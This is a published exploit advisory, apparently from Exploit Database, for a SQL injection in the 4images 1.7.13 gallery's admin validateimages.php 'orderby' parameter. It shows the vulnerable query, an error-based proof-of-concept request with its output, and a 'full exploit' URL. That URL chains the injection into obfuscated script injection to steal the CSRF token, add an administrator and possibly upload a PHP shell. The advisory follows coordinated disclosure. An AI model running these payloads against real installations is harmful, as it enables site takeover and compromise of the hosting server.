4Images 1.7.13 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： 0x4148
  日期： 2016-11-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40750/

• # vulnerable app : 4images <= 1.7.13
  # Vendor : www.4homepages.de
  # Author : Ahmed sultan (0x4148)
  # Email : 0x4148@gmail.com
  # Home : 0x4148.com
  
  4images is a powerful web-based image gallery management system. Features
  include comment system,
  user registration and management, password protected administration area
  with browser-based upload and HTML templates for page layout and design.
  The app is vulnerable to Sql injection flaw which can be escalated to new
  administrator add exploit
  Vulnerable code
  File : admin/validateimages.php
  Line 406
  $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name,
  i.image_date, i.image_media_file".get_user_table_field(", u.",
  "user_name")."
  FROM ".IMAGES_TEMP_TABLE." i
  LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.",
  "user_id")." = i.user_id)
  WHERE $condition
  ORDER BY $orderby $direction
  LIMIT $limitstart, $limitnumber";
  $result = $site_db->query($sql);
  Input parameter orderby is not sanitized before being passed to the sql
  query which lead to sql injection flaw
  POC
  GET
  /lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10
  HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101
  Firefox/17.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: 4images_lastvisit=1478064418; 4images_userid=1;
  sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4
  
  Will result in
  <br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>:
  SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date,
  i.image_media_file, u.user_name
  FROM 4images_images_temp i
  LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
  WHERE 1=1
  ORDER BY extractvalue(1,concat(0x7e,version())) ASC
  LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a'
  
  To reproduce, add normal user account, add a category and allow users to upload images in it.
  Login with the normal user account and upload an image.
  Try the poc 
  
  Exploitation :
  By the help of JS the sql injection flaw can be used to obtain the current
  csrf token and use it to add new administrator within the admin browser
  session
  Full exploit poc
  admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)
  
  Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be
  executed inside administrator's browser
  
  Impact
  Attacker can inject JS code which result in bypassing the CSRF token ,
  adding new administrator's account
  or even updating allowed extensions and uploading php shell on the
  vulnerable host
  
  Reference(s):
  https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/
  
  Disclosure timeline
  1/11 - Vulnerability was reported
  2/11 - Vendor sent fixation to review
  3/11 - Fixed evrsion was retested by me and approved
  3/11 - Vendor scheduled official update release
  10/11 - Public disclosure